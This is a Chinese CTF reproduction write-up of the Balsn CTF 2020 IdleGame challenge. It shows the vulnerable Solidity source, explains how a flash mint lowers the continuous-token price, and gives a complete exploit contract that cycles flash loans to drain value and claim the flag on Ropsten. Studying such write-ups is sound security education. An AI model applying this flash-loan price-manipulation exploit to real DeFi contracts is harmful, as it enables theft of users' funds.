Balsn CTF 2020 - IdleGame 复现笔记

Balsn CTF 2020 - IdleGame

复现这一题的时候对Continuous Token这个概念非常恐惧,看了非常久也没有完全理解这到底是个什么东西。我太容易提前陷入细节而忘记整个全景图,要时刻告诫自己在对整体有了足够的掌握之后再去深入其中某一个细节。

作者的wp,作者在文章最后推荐了另外两篇wp,我照着其中的一篇写的exp。

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
pragma solidity =0.5.17;

import "./Tokens.sol";

contract BalsnToken is ERC20 {
uint randomNumber = RN;
address public owner;

constructor(uint initialValue) public ERC20("BalsnToken", "BSN") {
owner = msg.sender;
_mint(msg.sender, initialValue);
}

function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "BalsnToken: you're too greedy");
_mint(msg.sender, 1);
}
}

contract IdleGame is FlashERC20, ContinuousToken {
uint randomNumber = RN;
address public owner;
BalsnToken public BSN;
mapping(address => uint) public startTime;
mapping(address => uint) public level;

event GetReward(address, uint);
event LevelUp(address);
event BuyGamePoints(address, uint, uint);
event SellGamePoints(address, uint, uint);
event SendFlag(address);

constructor (address BSNAddr, uint32 reserveRatio) public ContinuousToken(reserveRatio) ERC20("IdleGame", "IDL") {
owner = msg.sender;
BSN = BalsnToken(BSNAddr);
_mint(msg.sender, 0x9453 * scale);
}

function getReward() public returns (uint) {
uint points = block.timestamp.sub(startTime[msg.sender]);
points = points.add(level[msg.sender]).mul(points);
_mint(msg.sender, points);
startTime[msg.sender] = block.timestamp;
emit GetReward(msg.sender, points);
return points;
}

function levelUp() public {
_burn(msg.sender, level[msg.sender]);
level[msg.sender] = level[msg.sender].add(1);
emit LevelUp(msg.sender);
}

function buyGamePoints(uint amount) public returns (uint) {
uint bought = _continuousMint(amount);
BSN.transferFrom(msg.sender, address(this), amount);
_mint(msg.sender, bought);
emit BuyGamePoints(msg.sender, amount, bought);
return bought;
}

function sellGamePoints(uint amount) public returns (uint) {
uint bought = _continuousBurn(amount);
_burn(msg.sender, amount);
BSN.transfer(msg.sender, bought);
emit SellGamePoints(msg.sender, bought, amount);
return bought;
}

function giveMeFlag() public {
_burn(msg.sender, (10 ** 8) * scale); // pass this
Setup(owner).giveMeFlag(); // hit here
emit SendFlag(msg.sender);
}
}

contract Setup {
uint randomNumber = RN;
bool public sendFlag = false;
BalsnToken public BSN;
IdleGame public IDL;

constructor() public {
uint initialValue = 15000000 * (10 ** 18);
BSN = new BalsnToken(initialValue);
IDL = new IdleGame(address(BSN), 999000);
BSN.approve(address(IDL), uint(-1));
IDL.buyGamePoints(initialValue);
}

function giveMeFlag() public {
require(msg.sender == address(IDL), "Setup: sender incorrect");
sendFlag = true;
}
}

分析

题目其实有两个文件,但是另外一个Tokens.sol是引用其他开发者实现的一些标准token与协议,题目的重点其实是在上面给出的代码中。但是我花了很长的时间去研究Tokens.sol中的内容。

Tokens.sol包含以下的内容:

  • SafeMath库
  • ERC20标准接口
  • 闪电贷FlashERC20的接口
  • 一种ContinuousToken的合约实现

SafeMath库的作用是防止整数溢出,ERC20是以太坊上代币的标准,这两个之前多多少少有接触过。闪电贷理解起来还算容易,就是在同一笔交易内完成借款和还款,在借款和还款之间允许用户执行自己的代码。

但是ContinuousToken搞得我一脸懵逼,我不理解它产生的原因和作用。但是就这一题来说,只需要理解它的几个重要特性就可以做题。其中一个就是下面这个公式:

在只增加IDL token的总供应supply的情况下,当前token的价格会下降。原理就是这么简单。

所以说只需要在闪电贷的期间利用已有的BSN去购买降价的IDL,在闪电贷结束之后重新把价格恢复原价的IDL换回BSN,这样倒买倒卖就可以无限盈利。

Exploit

必须要部署在ropsten上,因为题目依赖一个外部的Bancor合约。

Setup: 0xA462b2CACC4825091dDB23bba720e8FbCC913077

BalsnToken: 0xAC88c6FEf2192baaA856CfAc7FFf73E40980DbE5

IDLE: 0x4569e2D0bB5a4D89A925FBAbe3804b385721a2e2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.8.0;

interface ERC20 {
function balanceOf(address account) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
}

interface FlashERC20 {
function flashMint(uint amount) external;
}

interface Balsn is ERC20 {
function giveMeMoney() external;
}

interface IdleGame is FlashERC20, ERC20 {
function buyGamePoints(uint amount) external returns (uint);
function sellGamePoints(uint amount) external returns (uint);
function giveMeFlag() external;
}

interface Setup {
function sendFlag() external returns(bool);
}

contract Hacker {
address public owner;
Balsn BSN = Balsn(0xAC88c6FEf2192baaA856CfAc7FFf73E40980DbE5);
bool requestInitial = false;
IdleGame IDL = IdleGame(0x4569e2D0bB5a4D89A925FBAbe3804b385721a2e2);
uint public loan = 99056419041694676677800000000000000002;

constructor() {
owner = msg.sender;
giveMeMoney();
bool res = BSN.approve(address(IDL), 2 ** 256 - 1);
require(res == true, "This cannot return false.");
}

modifier auth {
require(msg.sender == owner, "Not allowed.");
_;
}

function setloan(uint _loan) public auth {
loan = _loan;
}

function attack() public auth() {
flashBSN();
flashBSN();
flashBSN();
flashBSN();
}

function flashBSN() public auth {
IDL.flashMint(loan);
IDL.sellGamePoints(IDL.balanceOf(address(this)));
}

function executeOnFlashMint(uint amount) public {
require(amount >= 0, "Cannot fail.");
uint bsn_balance = BSN.balanceOf(address(this));
IDL.buyGamePoints(bsn_balance);
}

function buyIDL() public auth {
uint bsn_balance = BSN.balanceOf(address(this));
IDL.buyGamePoints(bsn_balance);
}

function sellIDL() public auth {
IDL.sellGamePoints(IDL.balanceOf(address(this)));
}

function myCurrentIDL() public view auth returns(uint) {
return IDL.balanceOf(address(this));
}

function getflag() public auth {
IDL.giveMeFlag();
require(Setup(0xA462b2CACC4825091dDB23bba720e8FbCC913077).sendFlag() == true, "Not success.");
selfdestruct(payable(owner));
}

function giveMeMoney() internal {
require(requestInitial == false, "Already Requested.");
requestInitial = true;
BSN.giveMeMoney();
}
}